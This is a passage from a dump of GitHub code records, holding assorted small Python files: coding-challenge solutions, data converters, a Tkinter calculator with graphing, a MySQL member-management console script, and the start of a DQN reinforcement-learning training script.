'%H:%M:%S')\n converted_value = datetime.strftime(convert_time, time_format)\n return converted_value\n else:\n return value\n\n\n# Add function to jinja filters\nsite.jinja_env.filters['datetime'] = format_datetime\n\nfrom web_gui import routes\n\nserve(site, listen='0.0.0.0:8080')\n","repo_name":"bryanbarton525/baby_tracker","sub_path":"web_gui/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"29605988580","text":"import os\nimport tensorflow as tf\nfrom math import pi\nfrom random import *\nimport numpy as np\nimport cv2\n\nfrom utils.crucial_points import calculate_car_crucial_points\nfrom utils.distances import dist\n\nimport matplotlib.pyplot as plt\n\ntf.enable_eager_execution()\n\ndef _plot(x_path, y_path, th_path, data, step, n, print=False):\n _, _, free_space, _ = data\n for i in range(len(x_path)):\n x = x_path[i][n]\n y = y_path[i][n]\n th = th_path[i][n]\n cp = calculate_car_crucial_points(x, y, th)\n for p in cp:\n plt.plot(p[:, 0], p[:, 1], 'r*')\n\n for i in range(free_space.shape[1]):\n for j in range(4):\n fs = free_space\n plt.plot([fs[0, i, j - 1, 0], fs[0, i, j, 0]], [fs[0, i, j - 1, 1], fs[0, i, j, 1]])\n #plt.xlim(-25.0, 25.0)\n #plt.ylim(0.0, 50.0)\n # plt.xlim(-15.0, 20.0)\n # plt.ylim(0.0, 35.0)\n #plt.xlim(-35.0, 5.0)\n #plt.ylim(-2.0, 6.0)\n if print:\n plt.show()\n else:\n plt.savefig(\"last_path\" + str(step).zfill(6) + \".png\")\n plt.clf()\n\ndef invalidate(x, y, fi, free_space):\n \"\"\"\n Check how much specified points violate the environment constraints\n \"\"\"\n crucial_points = calculate_car_crucial_points(x, y, fi)\n crucial_points = tf.stack(crucial_points, -2)\n\n penetration = dist(free_space, crucial_points)\n\n in_obstacle = tf.reduce_sum(penetration, -1)\n violation_level = tf.reduce_sum(in_obstacle, -1)\n\n # violation_level = integral(env.free_space, crucial_points)\n return violation_level\n\n#path = \"../../data/train/tunel/\"\n#path = \"../../data/val/tunel/\"\n#path = \"../../data/train/parkowanie_prostopadle/\"\n#path = \"../../data/val/parkowanie_prostopadle/\"\npath = \"../../TG_data/val/mix3/\"\n\ndef read_scn(scn_path):\n scn_path = os.path.join(path, scn_path)\n data = np.loadtxt(scn_path, delimiter=' ', dtype=np.float32)\n map = tf.reshape(data, (3, 4, 2))[tf.newaxis]\n res_path = scn_path[:-3] + \"scn\"\n data = np.loadtxt(res_path, delimiter=' ', dtype=np.float32)\n data = tf.reshape(data, (-1, 2, 3))\n data = tf.concat([data[:, :, 1:], data[:, :, :1]], axis=-1)\n p0, pk = tf.unstack(data, axis=1)\n return p0, pk, map, scn_path\n\n\nscenarios = [read_scn(f) for f in sorted(os.listdir(path)) if f.endswith(\".map\")]\n\nfor i, s in enumerate(scenarios):\n p0, pk, free_space, p = s\n\n x0, y0, fi0 = tf.unstack(p0[:, tf.newaxis], axis=-1)\n x1, y1, fi1 = tf.unstack(pk[:, tf.newaxis], axis=-1)\n\n #x0 = np.array(s[0][0])[:, np.newaxis]\n #y0 = np.array(s[0][1])[:, np.newaxis]\n #fi0 = np.array(s[0][2])[:, np.newaxis]\n\n #x1 = np.array([s[1][0] for s in scenarios])[:, np.newaxis]\n #y1 = np.array([s[1][1] for s in scenarios])[:, np.newaxis]\n #fi1 = np.array([s[1][2] for s in scenarios])[:, np.newaxis]\n #if i != 22: continue\n\n a0 = list(invalidate(x0, y0, fi0, free_space).numpy())\n a1 = list(invalidate(x1, y1, fi1, free_space).numpy())\n\n for k in range(len(a0)):\n if a0[k] > 0 or a1[k] > 0:\n print(p, k, \" \", a0[k], \" \", a1[k])\n _plot([x0, x1], [y0, y1], [fi0, fi1], s, i * 1000 + k, k)\n\n\n","repo_name":"pkicki/tisaf","sub_path":"dataset/validate_data.py","file_name":"validate_data.py","file_ext":"py","file_size_in_byte":3131,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"26216871121","text":"# https://leetcode.com/problems/delete-characters-to-make-fancy-string/\n# 1AC\n\nclass Solution:\n def makeFancyString(self, s: str) -> str:\n n = len(s)\n res = []\n i = 0\n while i < n:\n j = i + 1\n while j < n and s[i] == s[j]:\n j += 1\n\n cc = min(2, j - i)\n for _ in range(cc):\n res.append(s[i])\n\n i = j \n return ''.join(res)\n","repo_name":"zhuli19901106/leetcode-zhuli","sub_path":"algorithms/1501-2000/1957_delete-characters-to-make-fancy-string_1_AC.py","file_name":"1957_delete-characters-to-make-fancy-string_1_AC.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":557,"dataset":"github-code","pt":"72"} +{"seq_id":"19749543440","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# release 25-01-2019\nimport sys\nimport os\nfrom optparse import OptionParser\nfrom uaxls.xlsreader import XlsReader\nfrom pdb import set_trace\n\n\ndef do_main(file_xls, file_txt):\n xr = XlsReader()\n xr.open(file_xls)\n cols = xr.cols\n le = len(cols)\n fsql = open(file_txt, \"w+\")\n for i in range(0, le):\n # col = cols[i].encode(\"utf-8\")\n col = cols[i]\n # set_trace()\n # s = \"%s \" % (col)\n s = str(col)\n # s = s.encode(\"utf-8\")\n fsql.write(s)\n fsql.write(os.linesep)\n fsql.close()\n os.chmod(file_txt, 0o666)\n\n\nif __name__ == \"__main__\":\n parser = OptionParser()\n parser.add_option(\"-x\", \"--xls\")\n parser.add_option(\"-t\", \"--txt\")\n try:\n opts, args = parser.parse_args()\n except Exception:\n opts = None\n if opts is None or opts.txt is None or opts.xls is None:\n print (\"-x -t \")\n sys.exit(0)\n do_main(opts.xls, opts.txt)\n","repo_name":"gmaterni/pyutils","sub_path":"xls2columns.py","file_name":"xls2columns.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"447768459","text":"import lemmer_test_common\nimport pytest\nimport yatest.common\n\n\nOPTS = [\n [\"-c\", ],\n [\"-t\", ],\n [\"--spellcheck\", \"-c\", ],\n [\"-c\", \"-p\", ],\n [\"-c\", \"--trans\", ],\n]\n\n\n@pytest.mark.parametrize(\"opts\", OPTS, ids=[\"\".join(opts) for opts in OPTS])\ndef test_lemmer(opts):\n inp_path = lemmer_test_common.get_big_input()\n out_path = \"\".join(opts) + \".out\"\n\n return lemmer_test_common.exec_lemmer_cmd(opts, inp_path, out_path)\n\n\ndef test_lemmer_automorphology():\n opts = [\"-c\", \"-w\", \"-m\", \"est,eng\", \"-p\", \"--automorphology\", \"est=\" + yatest.common.binary_path(\"search/wizard/data/wizard/Automorphology/est\") + \"/\"]\n inp_path = lemmer_test_common.get_big_input()\n out_path = \"with_est_automorphology.out\"\n\n return lemmer_test_common.exec_lemmer_cmd(opts, inp_path, out_path)\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"tools/lemmer-test/tests/test_lemmer.py","file_name":"test_lemmer.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2988949680","text":"class Solution:\n \"\"\"\n 使用对撞指针———— 一前一后两个指针(因为是有序数组),left, right\n 当两个指针所对应的两个数的和较小时,左指针往右移动,当和较大时,右指针往左移动;\n 当两个指针相撞仍为找到时,表示不存在\n \"\"\"\n def twoSum(self, nums: list, target: int) -> list:\n left, right = 0, len(nums)-1\n while left None:\n inputFile = open(input, \"r\", encoding=\"utf-8\")\n inputData = inputFile.read()\n inputFile.close()\n inputData = sanitize(inputData)\n\n # 問題の区切りは
            で行う\n ls = inputData.split(\"
            \")\n\n latestSections = Sections(patternSection)\n questionList: list[Question] = []\n\n preClose: str = \"{{\"\n postClose: str = \"}}\"\n commentSelector: str = \".comment\"\n\n for item in ls:\n latestSections = Sections.update(item, latestSections)\n questionList.append(Question(item, latestSections, preClose, postClose, commentSelector))\n\n outputData: str = \"\"\n\n for question in questionList:\n outputData = (\n outputData + question.toText() + \"\\n\"\n )\n\n print(outputData)\n outputFile = open(output, \"w\", encoding=\"utf-8\")\n outputFile.write(outputData)\n outputFile.close()\n\n\ndef to_output(input: str) -> str:\n input_path = os.path.dirname(input)\n output_path = input_path.replace(\"input\", \"output\")\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n return os.path.splitext(input)[0].replace(\"input\", \"output\") + \".txt\"\n\n\npatternSectionsList = {\n \"h\": [\"h1\", \"h2\", \"h3\", \"h4\"],\n \"law\": [\n \"#latTitle\",\n \"._div_PartTitle\",\n \"._div_ArticleCaption\",\n \"._div_ArticleTitle span\",\n ],\n}\nif __name__ == \"__main__\":\n args = sys.argv\n input = args[1]\n patternSections = patternSectionsList[args[2]]\n if os.path.isdir(input):\n for root, dirs, files in os.walk(top=input):\n for file in files:\n if not file.lower().endswith((\".html\")):\n continue\n filePath = os.path.join(root, file)\n print(f\"input file = {filePath}\")\n output = to_output(filePath)\n convert(filePath, output, patternSections)\n if os.path.isfile(input):\n output = to_output(input)\n convert(input, output, patternSections)\n","repo_name":"uesaiso/sompo_anki","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38497643608","text":"# === Imports ===\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# === Function ===\ndef pairs(k, arr):\n # === Preprocessing ===\n # Sort `arr`\n arr.sort()\n\n # === Obtain answer ===\n answer = 0\n\n # Hold the previous successful value of j. This is instantiated at 1 because we want j to begin counting from the first element of `arr` rather than the zeroth.\n previous_j = 0\n\n # Loop through `arr`\n for i in arr:\n\n for jx in range(previous_j, len(arr)): \n j = arr[jx]\n\n # We only run for which j > i, which translates to jx > ix due to `arr.sort()`. Thus, we skip all occurrences where `j <= i`.\n if j <= i:\n continue \n\n # We then run the subtraction, noting that j > i\n if j - i == k:\n answer += 1 \n\n # When this is incremented, we note that all i after this will require at least the next j. Thus, we let previous_j = jx + 1\n previous_j = jx + 1\n\n # We break the loop as there is only one unique answer per i\n break \n\n # We also note that if j - i > k, no other value of j will satisfy j - i == k\n if j - i > k:\n break\n\n return answer\n\n\n# Function to be called\ndef main(args):\n \"\"\"\n This is the main function to be called in test_functions.py.\n This should emulate the logic in HackerRank's if __name__ == '__main__' logic block and process #args# accordingly. \n\n Params\n ======\n args: str\n A single line string\n \"\"\"\n\n nk = input().split()\n \n n = int(nk[0])\n \n k = int(nk[1])\n \n arr = list(map(int, input().rstrip().split()))\n \n result = pairs(k, arr)\n \n fptr.write(str(result) + '\\n')\n \n\n\n# === Debug ===\ndef DEBUG(*args, **kwargs):\n \"\"\"\n If this function is not run directly, i.e. it is under test, this will take on the print statement. Otherwise, nothing happens. \n \"\"\"\n if __name__ != \"__main__\":\n print(*args, **kwargs)\n\n\n# === Mock ===\n# Mock fptr.write()\nclass Writer():\n def __init__(self):\n \"\"\"Initialises the list of answers.\"\"\"\n self.answers = []\n\n\n def write(self, string):\n \"\"\"Appends the string to a list, which is then accessed by the parent test function to check for equality of arguments.\n \n Params\n ======\n string: str\n The string to be appended to the list of answers.\n \"\"\"\n # Process the string to be appended, to remove the final newline character as added in main()\n li = string.rsplit('\\n', 1)\n\n self.answers.append(''.join(li))\n\n \n def get_answers(self): \n \"\"\"\n Returns the answers and resets it.\n\n Returns\n =======\n result: list of strings\n The answers to be returned.\n \"\"\"\n result = self.answers \n\n self.answers = []\n\n return result\n\n\n def close(self):\n pass\n \n\nfptr = Writer()\n\n# List of inputs\nlist_of_inputs = []\n\n# Sets inputs\ndef set_inputs(string):\n \"\"\"\n This function sets the inputs to be mocked by the input() function. \n The #string# passed is split by the newline character. Each element then makes up the argument called sequentially by input().\n \"\"\"\n global list_of_inputs\n\n list_of_inputs = string.split(\"\\n\")\n\n\n# Mocks the inputs\ndef input():\n \"\"\"\n Mocks the 'input()' function. \n If arguments is not None, it resets the arguments used. \n \"\"\"\n return list_of_inputs.pop(0)","repo_name":"KaShing96/hackerrank-challenges","sub_path":"medium/pairs/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3756621972","text":"\"\"\"\nmulti-process using parmap\n\nCreated On 9th Mar, 2020\nAuthor: bohang.li\n\"\"\"\nimport parmap\n\n\ndef fun(arg):\n print(arg)\n\n\narg = 1\ncpu_num = 10\nres = parmap.map(fun, arg, pm_processes=cpu_num, pm_pbar=True)\n","repo_name":"vandesa003/useful_python_codes","sub_path":"parmap.py","file_name":"parmap.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"39425457071","text":"import re\n\ndef hex_to_rgb(hex_color):\n color = hex_color.lstrip('#')\n rgb_color = tuple(int(color[i:i+2], 16) for i in (0, 2 ,4))\n return rgb_color\n\n\ndef rgb_to_hex(rgb):\n hex_color = \"\".join([format(val, '02X') for val in rgb])\n return f\"#{hex_color}\"\n\n\ndef rgb_to_rgba(rgb, opacity):\n \"\"\"\n Takes rgb tuple and opacity between 0-1 and return rgba tuple.\n \"\"\"\n color_rgba = rgb + (opacity,)\n return color_rgba\n\ndef rgb_to_rgba_string(rgb, opacity):\n \"\"\"\n Takes rgb tuple and opacity between 0-1 and return rgba tuple. Returns string version.\n \"\"\"\n color_rgba = rgb + (opacity,)\n return f\"rgba{color_rgba}\"\n\n\ndef rbga_to_rgb(rgba):\n \"\"\"\n Takes in tuple of (red, green, blue, opacity).\n Assumes background colour is white.\n \"\"\"\n BGColor = (255,255,255)\n\n r = ((1 - rgba[3]) * BGColor[0]) + (rgba[3] * rgba[0])\n g = ((1 - rgba[3]) * BGColor[1]) + (rgba[3] * rgba[1])\n b = ((1 - rgba[3]) * BGColor[2]) + (rgba[3] * rgba[2])\n rgb = (r,g,b)\n return rgb\n\n\ndef is_rgb(rgb: str) -> bool:\n \"\"\"\n Checks if it is in RGB format.\n :param rgb:\n :return:\n \"\"\"\n x = re.match('rgb?(\\(\\s*\\d+\\s*,\\s*\\d+\\s*,\\s*\\d+)(?:\\s*,.+?)?\\)', rgb)\n if x:\n return True\n if not x:\n return False\n\n\ndef standardize_colour(color_str: str) -> str:\n \"\"\"\n Checks if colour is in rgb and returns rgba version\n :param rgb:\n :return:\n \"\"\"\n\n if is_rgb(color_str):\n rgb_list_str = re.findall('[0-9]+', color_str)\n rgb_list_int = list(map(int, rgb_list_str))\n rgb_tuple_str = tuple(rgb_list_int)\n return rgb_to_rgba_string(rgb_tuple_str, 1)\n if not is_rgb(color_str):\n return color_str\n\n\nif __name__ == '__main__':\n # a = is_rgb('rgb(123, 123, 123)')\n # b = is_rgb('rgba(123, 123, 123, 1)')\n # print(a)\n # print(b)\n # print(standardize_colour('rgb(123, 123, 123)'))\n print(standardize_colour('rgba(123, 123, 123, 1)'))\n print(rgb_to_rgba_string('rgb(123, 123, 123)', 1))\n","repo_name":"WintonCentre/predict-v21-main","sub_path":"functional_tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"7857384402","text":"from calcmath import CalcMath\nfrom term import *\nimport math\nimport matplotlib.pyplot as plt\nimport tkinter as tk\nfrom pathlib import Path\nfrom playsound import playsound\nfrom expression import *\n\npath = Path(__file__).parent / 'voices/'\nparsing_string = \"\"\nsound = False\nfunc = \"\"\napp = tk.Tk()\ninputFrame = tk.Frame(app)\ninp = tk.Entry(inputFrame, width=22, font=(\"Comic Sans\", 22), justify=\"right\")\ninp.config(state=\"readonly\")\nfuncFrame = tk.Frame(app)\nfun = tk.Entry(funcFrame, width=22, font=(\"Comic Sans\", 22))\nfun.config(state=\"readonly\")\nhelpFrame = tk.Frame(app)\ndef silly():\n global sound\n sound = not(sound)\ndef plus():\n global parsing_string\n parsing_string += \" + \"\n update_gui()\n if(sound):\n playsound(f\"{path}/plus.wav\")\ndef minus():\n global parsing_string\n parsing_string += \" - \"\n update_gui()\n if(sound):\n playsound(f\"{path}/minus.wav\")\ndef times():\n global parsing_string\n parsing_string += \" * \"\n update_gui()\n if(sound):\n playsound(f\"{path}/times.wav\")\ndef divide():\n global parsing_string\n parsing_string += \" / \"\n update_gui()\n if(sound):\n playsound(f\"{path}/divided by.wav\")\ndef zero():\n global parsing_string\n parsing_string += \"0\"\n update_gui()\n if(sound):\n playsound(f\"{path}/0.wav\")\ndef one():\n global parsing_string\n parsing_string += \"1\"\n update_gui()\n if(sound):\n playsound(f\"{path}/1.wav\")\ndef two():\n global parsing_string\n parsing_string += \"2\"\n update_gui()\n if(sound):\n playsound(f\"{path}/2.wav\")\ndef three():\n global parsing_string\n parsing_string += \"3\"\n update_gui()\n if(sound):\n playsound(f\"{path}/3.wav\")\ndef four():\n global parsing_string\n parsing_string += \"4\"\n update_gui()\n if(sound):\n playsound(f\"{path}/4.wav\")\ndef five():\n global parsing_string\n parsing_string += \"5\"\n update_gui()\n if(sound):\n playsound(f\"{path}/5.wav\")\ndef six():\n global parsing_string\n parsing_string += \"6\"\n update_gui()\n if(sound):\n playsound(f\"{path}/6.wav\")\ndef seven():\n global parsing_string\n parsing_string += \"7\"\n update_gui()\n if(sound):\n playsound(f\"{path}/7.wav\")\ndef eight():\n global parsing_string\n parsing_string += \"8\"\n update_gui()\n if(sound):\n playsound(f\"{path}/8.wav\")\ndef nine():\n global parsing_string\n parsing_string += \"9\"\n update_gui()\n if(sound):\n playsound(f\"{path}/9.wav\")\ndef equals():\n global func\n global parsing_string\n print(parsing_string)\n if(sound):\n playsound(f\"{path}/is.wav\")\n expr_string = parsing_string\n parsing_string = \"\"\n update_gui()\n expr = parse(expr_string.split())\n print(expr)\n if(\"x\" in str(expr)):\n func = expr\n update_gui(\"Function set.\")\n fun.config(state=\"normal\")\n fun.delete(0, 'end')\n fun.insert(0, str(func))\n fun.config(state=\"readonly\")\n else:\n try:\n update_gui(expr.solve(0))\n read_ans(expr.solve(0))\n except:\n update_gui(\"error\")\n \ndef sin():\n global parsing_string\n parsing_string += \" s \"\n update_gui()\n if(sound):\n playsound(f\"{path}/the sine of.wav\")\ndef cos():\n global parsing_string\n parsing_string += \" c \"\n update_gui()\n if(sound):\n playsound(f\"{path}/cosine.wav\")\ndef tan():\n global parsing_string\n parsing_string += \" t \"\n update_gui()\n if(sound):\n playsound(f\"{path}/the tangent of.wav\")\ndef nl():\n global parsing_string\n parsing_string += \" ln \"\n update_gui()\n if(sound):\n playsound(f\"{path}/natural log.wav\")\ndef log():\n global parsing_string\n parsing_string += \" log \"\n update_gui()\n if(sound):\n playsound(f\"{path}/the log base.wav\")\ndef exp():\n global parsing_string\n parsing_string += \" ^ \"\n update_gui()\n if(sound):\n playsound(f\"{path}/to the power of.wav\")\ndef point():\n global parsing_string\n parsing_string += \".\"\n update_gui()\n if(sound):\n playsound(f\"{path}/point.wav\")\ndef lparen():\n global parsing_string\n parsing_string += \" ( \"\n update_gui()\n if(sound):\n playsound(f\"{path}/paren.wav\")\ndef rparen():\n global parsing_string\n parsing_string += \" ) \"\n update_gui()\n if(sound):\n playsound(f\"{path}/paren.wav\")\ndef atan():\n global parsing_string\n parsing_string += \" at \"\n update_gui()\n if(sound):\n playsound(f\"{path}/the inverse tangent of.wav\")\ndef e():\n global parsing_string\n parsing_string += str(CalcMath.e)\n update_gui()\n if(sound):\n playsound(f\"{path}/e.wav\")\ndef pi():\n global parsing_string\n parsing_string += str(CalcMath.PI)\n update_gui()\n if(sound):\n playsound(f\"{path}/pi.wav\")\ndef x():\n global parsing_string\n parsing_string += \" x \"\n update_gui()\n if(sound):\n playsound(f\"{path}/x.wav\")\ndef solve():\n global func\n global parsing_string\n expr_string = parsing_string\n parsing_string = \"\"\n ans = func.solve(int(expr_string))\n if(sound):\n playsound(f\"{path}/solve.wav\")\n update_gui(ans)\n read_ans(ans)\ndef deriv():\n global func\n global parsing_string\n expr_string = parsing_string\n parsing_string = \"\"\n ans = func.deriv_solve(int(expr_string))\n if(sound):\n playsound(f\"{path}/derivative.wav\")\n update_gui(ans)\n read_ans(ans)\ndef graph():\n global func\n global parsing_string\n expr_string = parsing_string\n parsing_string = \"\"\n if(sound):\n playsound(f\"{path}/graphing.wav\")\n update_gui()\n inputs = expr_string.split()\n fig, ax = plt.subplots()\n ax.spines['left'].set_position('center')\n ax.spines['bottom'].set_position('center')\n ax.spines['right'].set_color('none')\n ax.spines['top'].set_color('none')\n data = func.graph(int(inputs[0]), int(inputs[1]))\n print(data)\n x = data[0]\n # ax.set_xlim(xmin=-10, xmax=10)\n y = data[1]\n # ax.set_ylim(ymin=-10, ymax=10)\n ax.plot(x, y, linewidth=2)\n plt.show()\ndef integ():\n global func\n global parsing_string\n expr_string = parsing_string\n parsing_string = \"\"\n if(sound):\n playsound(f\"{path}/the integral of.wav\")\n inputs = expr_string.split()\n print(inputs)\n ans = func.integral_solve(int(inputs[0]), int(inputs[1]))\n update_gui(ans)\n read_ans(ans)\ndef roots():\n global func\n global parsing_string\n expr_string = parsing_string\n parsing_string = \"\"\n if(sound):\n playsound(f\"{path}/roots.wav\")\n ans = func.newtonsmethod(int(expr_string))\n update_gui(ans)\n read_ans(ans)\ndef space():\n global parsing_string\n parsing_string += \" \"\n update_gui()\n if(sound):\n playsound(f\"{path}/space.wav\")\ndef negate():\n global parsing_string\n parsing_string += \"-\"\n update_gui()\n if(sound):\n playsound(f\"{path}/negative.wav\")\ndef update_gui(toRender=None):\n global inp\n global parsing_string\n if(toRender == None):\n toRender = parsing_string\n inp.config(state=\"normal\")\n inp.delete(0, 'end')\n inp.insert(0, toRender)\n inp.config(state=\"readonly\")\ndef read_ans(ans):\n if(sound):\n for i in str(ans):\n if(i == \".\"):\n playsound(f\"{path}/point.wav\")\n elif(i == \"-\"):\n playsound(f\"{path}/negative.wav\")\n else:\n playsound(f\"{path}/{i}.wav\")\ndef help_out():\n print(\"Most of the calculator is self explanatory, but the function stuff is a little bit annoying to use.\\nWhen you input something containing x and hit =, your input is saved in the function bar (at the bottom). You can then do five operations with this function: solve at a value, find the derivative at a value, find the integral over a range, graph it over a range, or find the roots (starting at a value). To use any of these, simply type the required number of arguments (1 or 2) separated by a space into the calculator, and then press whichever button corresponds to the operation you want to perform.\\nSolve, derivative, and roots take 1 argument, and integral and graph take 2.\\n Example: \\n If I put x^2 into the calculator already, I can then type 2 and then hit the solve button. The calculator will return 4. If I put 2 4 and hit graph, the function will be graphed from x=2 to x=4. If I put 8 and hit roots, the function will try and find the root closest to 8.\")\n\nbuttonFrame = tk.Frame(app)\nbuttons = [\n tk.Button(buttonFrame, text=\"+\", command=plus, width=7, height=2), \n tk.Button(buttonFrame, text=\"7\", command=seven, width=7),\n tk.Button(buttonFrame, text=\"8\", command=eight, width=7),\n tk.Button(buttonFrame, text=\"9\", command=nine, width=7),\n tk.Button(buttonFrame, text=\"pi\", command=pi, width=7),\n tk.Button(buttonFrame, text=\"e\", command=e, width=7),\n tk.Button(buttonFrame, text=\"-\", command=minus, height=2),\n tk.Button(buttonFrame, text=\"4\", command=four),\n tk.Button(buttonFrame, text=\"5\", command=five),\n tk.Button(buttonFrame, text=\"6\", command=six),\n tk.Button(buttonFrame, text=\"ln\", command=nl),\n tk.Button(buttonFrame, text=\"log\", command=log),\n tk.Button(buttonFrame, text=\"*\", command=times, height=2),\n tk.Button(buttonFrame, text=\"1\", command=one),\n tk.Button(buttonFrame, text=\"2\", command=two),\n tk.Button(buttonFrame, text=\"3\", command=three),\n tk.Button(buttonFrame, text=\"space\", command=space),\n tk.Button(buttonFrame, text=\"^\", command=exp, width=7),\n tk.Button(buttonFrame, text=\"÷\", command=divide, height=2),\n tk.Button(buttonFrame, text=\"negate\", command=negate),\n tk.Button(buttonFrame, text=\"0\", command=zero),\n tk.Button(buttonFrame, text=\".\", command=point),\n tk.Button(buttonFrame, text=\"(\", command=lparen),\n tk.Button(buttonFrame, text=\")\", command=rparen),\n tk.Button(buttonFrame, text=\"=\", command=equals, height=2),\n tk.Button(buttonFrame, text=\"x\", command=x),\n tk.Button(buttonFrame, text=\"sin\", command=sin),\n tk.Button(buttonFrame, text=\"cos\", command=cos),\n tk.Button(buttonFrame, text=\"tan\", command=tan),\n tk.Button(buttonFrame, text=\"arctan\", command=atan),\n tk.Button(buttonFrame, text=\"???\", command=silly, height=2), \n tk.Button(buttonFrame, text=\"solve\", command=solve),\n tk.Button(buttonFrame, text=\"derivative\", command=deriv),\n tk.Button(buttonFrame, text=\"integral\", command=integ),\n tk.Button(buttonFrame, text=\"graph\", command=graph),\n tk.Button(buttonFrame, text=\"roots\", command=roots),\n tk.Button(helpFrame, text=\"help (outputs in console)\", command=help_out, width=50, height=2)\n]\n\ninputFrame.pack()\nbuttonFrame.pack()\nfuncFrame.pack()\nhelpFrame.pack()\ninp.grid()\nfun.grid()\nrow = 0\ncol = 0\nfor i in buttons:\n i.grid(row=row, column=col, sticky=\"nsew\")\n col += 1\n if(col == 6):\n row += 1\n col = 0\n# app.master.title('CalcCalc')\napp.mainloop()\n\n\n\n","repo_name":"Ca7Ac1/CalcCalc","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31821214247","text":"#製作一個界面可以有顯示, 新增, 更新 和刪除會員資料\nimport pymysql, os, prettytable\n\nos.system(\"cls\")\nsetting_pass = input(\"請輸入資料庫的密碼:\")\nsetting_port = input(\"請輸入資料庫的port:\")\n\nif setting_port ==\"\":\n setting_port = 3306\nelse:\n setting_port = int(setting_port)\n\nlink = pymysql.connect(\n host =\"localhost\",\n user = \"root\",\n passwd = setting_pass,\n db=\"python_ai\",\n charset =\"utf8\",\n port = setting_port\n)\n\ncmd = -1\nos.system(\"cls\") #cmd下清空畫面\nc =link.cursor()\n\nwhile True: #while True是為了讓輸入錯誤的時候,不會就此停下程式而會持續循環到表單繼續可以操作\n if cmd == \"0\":\n break\n elif cmd ==\"1\":\n t = prettytable.PrettyTable([\"id\", \"name\", \"birthday\", \"address\"], encoding=\"utf8\")\n c.execute(\"SELECT * FROM `member`\")\n n = c.rowcount\n for i in range(0,n):\n r = c.fetchone()\n t.add_row([str(r[0]), r[1], r[2], r[3]])\n t.align[\"name\"]=\"l\"\n t.align[\"birthday\"]=\"l\"\n t.align[\"address\"]=\"l\"\n print(t)\n\n elif cmd == \"2\":\n name_ = input(\"請輸入name:\")\n bir_ = input(\"請輸入birthday:\")\n address_ = input(\"請輸入address:\")\n\n c.execute(\n \"INSERT INTO `member`(`name`, `birthday`, `address`) \"+\n \"VALUES(%s,%s,%s)\",(name_, bir_, address_) #讀取外面資訊到%s裏面時的格式\n )\n link.commit()\n elif cmd ==\"3\":\n par = {\n \"id\":input(\"輸入你要修改資料的id:\"),\n \"nam\":input(\"輸入名字:\"),\n \"bir\":input(\"輸入生日:\"),\n \"add\":input(\"輸入地址:\")}\n c.execute(\n \"UPDATE `member` SET \"+\n \"`id`=%(id)s, `name`=%(nam)s, `birthday`=%(bir)s, `address`=%(add)s WHERE `id`=%(id)s;\"\n , par)\n link.commit()\n elif cmd ==\"4\":\n par = {\n \"id\":input(\"輸入要刪除的id:\")\n }\n c.execute(\n \"DELETE FROM `member` WHERE `id`=%(id)s\", par)\n link.commit()\n\n print(\"(0) 離開程式:\")\n print(\"(1) 顯示會員列表:\")\n print(\"(2) 新增會員資料:\")\n print(\"(3) 更新會員資料:\")\n print(\"(4) 刪除會員資料:\")\n cmd =input(\"指令\")\n os.system(\"cls\")\n\nlink.close()","repo_name":"Nier1112/tibame_AI02","sub_path":"MYSQL/XAMMP_0407.py","file_name":"XAMMP_0407.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34825322860","text":"from parl.utils import logger\nfrom model import Model\nfrom agent import Agent\nfrom replay_memory import ReplayMemory\nfrom parl.algorithms import DQN\nimport numpy as np\nimport os\nimport gym\nimport parl\nimport paddle\n# assert paddle.__version__ == \"2.3.1\", \"[Version WARNING] please try `pip install paddlepaddle==2.2.0`\"\n# assert parl.__version__ == \"2.0.4\", \"[Version WARNING] please try `pip install parl==2.0.3`\"\n# assert gym.__version__ == \"0.18.0\", \"[Version WARNING] please try `pip install gym==0.18.0`\"\n\n\nLEARN_FREQ = 10 # 训练频率,不需要每一个step都learn,攒一些新增经验后再learn,提高效率\nMEMORY_SIZE = int(2e5) # replay memory的大小,越大越占用内存\nMEMORY_WARMUP_SIZE = 200 # replay_memory 里需要预存一些经验数据,再从里面sample一个batch的经验让agent去learn\nBATCH_SIZE = 128 # 每次给agent learn的数据数量,从replay memory随机里sample一批数据出来\nLEARNING_RATE = 5e-4 # 学习率\nGAMMA = 0.99 # reward 的衰减因子,一般取 0.9 到 0.999 不等,原值 0.99\nTRAIN_EPISODE = 2000\n\nOBS_DIM_SIZE = [80, 80]\nSAVE_PATH = \"./dqn_model.ckpt\"\n\n# 训练一个episode\ndef run_train_episode(agent, env, rpm):\n total_reward = 0\n obs = env.reset()\n step = 0\n obs = to_features(obs) # 加入的特征转换\n reward_step = 0\n while True:\n step += 1\n\n action = agent.sample(obs) # 采样动作,所有动作都有概率被尝试到\n next_obs, reward, done, info = env.step(action)\n next_obs = to_features(next_obs) # 加入的特征转换\n\n # 调整的奖励规则,开始\n reward_step += 1\n if reward == 1:\n 